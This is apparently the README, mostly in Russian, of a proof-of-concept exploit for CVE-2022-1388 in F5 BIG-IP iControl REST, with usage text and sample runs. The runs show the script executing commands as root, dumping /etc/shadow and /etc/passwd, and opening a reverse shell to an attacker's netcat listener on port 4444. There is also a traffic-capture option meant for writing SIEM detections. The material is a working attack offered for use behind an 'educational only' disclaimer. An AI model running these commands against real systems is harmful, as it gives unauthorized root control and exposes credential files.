
-- ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ -- Эксплойт PoC для RCE CVE-2022-1388, плюс дополнительный функционал для синих и красных команд
Автор не несёт ответственности за любые действия, совершённые с использованием данного проекта/репозитория. Я создал его для понимания атаки, а также для написания детектов в SIEM, и хочу поделиться им, чтобы другие могли сделать то же самое. Используйте на свой страх и риск.
Этот эксплойт нацелен на уязвимость CVE-2022-1388 в BIG-IP iControl REST от F5 Systems. Пожалуйста, обратитесь к бюллетеню F5 (https://support.f5.com/csp/article/K23605346), чтобы узнать о затронутых версиях и других сведениях.
Не стесняйтесь отправлять PR или сообщать о проблемах. Протестировано на нескольких уязвимых F5 VE в Google Cloud с машины на CentOS с Python 3.6.
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET, --RHOSTS TARGET
Target IP of vulnerable BIG-IP system
-p PORT, --port PORT, --RPORT PORT
Target port on vulnerable BIG-IP system
-c CMD, --cmd CMD, --command CMD
Command to run on target system
-e, --export, --tcpdump
Export captured traffic and ssl-key.log | **Requires sudo privileges!
-q, --quiet Don't display banner
-s, --shell Launch an interactive shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
Required for -s [shell]; Local IP/interface to bind listener to
-lp LPORT, --lport LPORT, --LPORT LPORT
Required for -s [shell]; Local port to bind listener to
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...
[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
Указание флага -e (--export) создаст два файла: detection.pcap и ssl-key.log. Эти файлы будут перезаписаны при каждом использовании флага -e, поэтому не забудьте переместить или переименовать файлы, которые хотите сохранить. Файл ssl-key.log можно импортировать в Wireshark через Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename, чтобы расшифровать TLS-сессию. Обратите внимание: из-за tcpdump при использовании -e скрипт необходимо запускать через sudo.
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]
До расшифровки TLS:
Добавление автоматически экспортированного ssl-key.log в настройки TLS в Wireshark:
После расшифровки TLS:
